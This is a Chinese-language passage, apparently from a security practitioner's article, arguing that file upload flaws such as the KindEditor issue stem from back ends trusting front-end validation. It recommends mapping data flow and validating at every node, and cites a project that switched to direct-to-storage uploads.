这种思维鸿沟才是所有上传漏洞的母体。所以我现在给所有开发团队的建议是在设计任何文件上传功能前先画一张数据流向图——从用户浏览器到 CDN到 WAF到负载均衡到应用服务器再到文件存储。在每一个节点问自己“这里我是否在未经验证的情况下信任了上一个节点的输出” 如果答案是“是”那就必须在此节点增加校验。KindEditor 的漏洞本质是 PHP 层信任了前端 JS 的校验结果而更深层的漏洞是整个链路中没有人质疑“为什么前端要校验后端还要校验”——因为这就是标准做法。打破标准才是安全的开始。我在上周刚结束的一个教育 SaaS 项目中推动他们将所有富文本上传改为“前端直传 OSS”彻底移除了后端 PHP 上传接口。上线后不仅 CVE-2018-18950 归零上传速度提升了 300%CDN 缓存命中率从 45% 升至 89%。安全与性能从来不是对立面只是我们是否愿意多走一步去重新设计那个“理所当然”的流程。